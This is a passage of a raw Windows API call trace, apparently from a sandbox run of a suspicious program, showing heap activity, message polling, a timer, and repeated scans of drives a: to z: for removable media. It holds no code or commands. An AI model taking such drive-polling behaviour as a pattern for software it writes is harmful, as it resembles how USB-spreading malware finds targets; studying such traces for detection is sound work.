lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.826] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.826] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.826] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.826] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.826] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.826] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.826] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.826] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.826] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.827] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.827] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.827] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.827] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.827] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.827] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.827] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.827] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.827] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.827] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.828] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.828] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.828] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.828] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.828] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.012] TranslateMessage (lpMsg=0xbdf794) returned 0 [0172.012] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0172.012] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0172.013] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0172.013] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0172.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0172.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf408 [0172.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe558 [0172.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0172.013] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0172.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0172.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe558 | out: hHeap=0xe80000) returned 1 [0172.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf408 | out: hHeap=0xe80000) returned 1 [0172.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0172.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0172.013] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0172.014] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed29e8 | out: hHeap=0xe80000) returned 1 [0172.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0172.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0172.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0172.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0172.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0172.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0172.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0172.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0172.015] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0172.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0172.015] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0172.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed27f0 [0172.015] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed27f0 | out: hHeap=0xe80000) returned 1 [0172.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0172.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10768b0 [0172.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2b50 [0172.016] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0172.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0172.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0172.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0172.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0172.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0172.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0172.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0172.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf398 [0172.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf408 [0172.017] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0172.017] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.017] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0172.017] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0172.017] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0172.017] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0172.017] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0172.017] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0172.017] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0172.018] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0172.018] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0172.018] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0172.018] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0172.018] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0172.018] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0172.019] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0172.019] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0172.019] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0172.019] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0172.019] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0172.019] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0172.019] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0172.020] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0172.020] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0172.020] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0172.020] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0172.020] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0172.020] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0172.021] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0172.021] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf408 | out: hHeap=0xe80000) returned 1 [0172.021] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0172.021] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0172.022] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0172.022] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0172.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0172.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768f8 [0172.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0172.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0172.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0172.022] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0172.022] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0172.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0172.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0172.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe5d8 [0172.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076928 [0172.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.022] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0172.022] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0172.022] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe5d8 | out: hHeap=0xe80000) returned 1 [0172.022] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0172.022] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0172.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0172.022] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.023] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec7d0 | out: hHeap=0xe80000) returned 1 [0172.023] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.023] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2b50 | out: hHeap=0xe80000) returned 1 [0172.023] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0172.023] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0172.023] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0172.023] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0172.023] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0172.023] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0172.024] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0172.024] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0172.024] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.024] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0172.024] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0172.024] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.024] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0172.024] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0172.024] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.025] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0172.025] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0172.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10768b0 [0172.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e68 [0172.025] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0172.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0172.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0172.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0172.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0172.025] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0172.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0172.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0172.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0172.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0172.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0172.025] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.025] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0172.026] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0172.026] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0172.026] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0172.026] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0172.026] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0172.026] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0172.026] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0172.027] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0172.027] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0172.027] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0172.027] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0172.027] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0172.027] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0172.027] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0172.028] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0172.028] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0172.028] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0172.028] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0172.028] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0172.028] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0172.029] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0172.029] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0172.029] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0172.029] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0172.029] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0172.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0172.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0172.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0172.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0172.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0172.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0172.030] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0172.030] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0172.030] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0172.030] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0172.030] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0172.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0172.031] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.031] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0172.031] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0172.031] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0172.031] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe8d8 [0172.031] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0172.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0172.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0172.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe8d8 | out: hHeap=0xe80000) returned 1 [0172.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0172.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0172.031] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0172.031] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0172.032] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e68 | out: hHeap=0xe80000) returned 1 [0172.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0172.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0172.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0172.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0172.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0172.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0172.033] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0172.033] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0172.033] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.033] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0172.033] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0172.033] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.033] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0172.033] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0172.033] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.034] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0172.034] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0172.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, 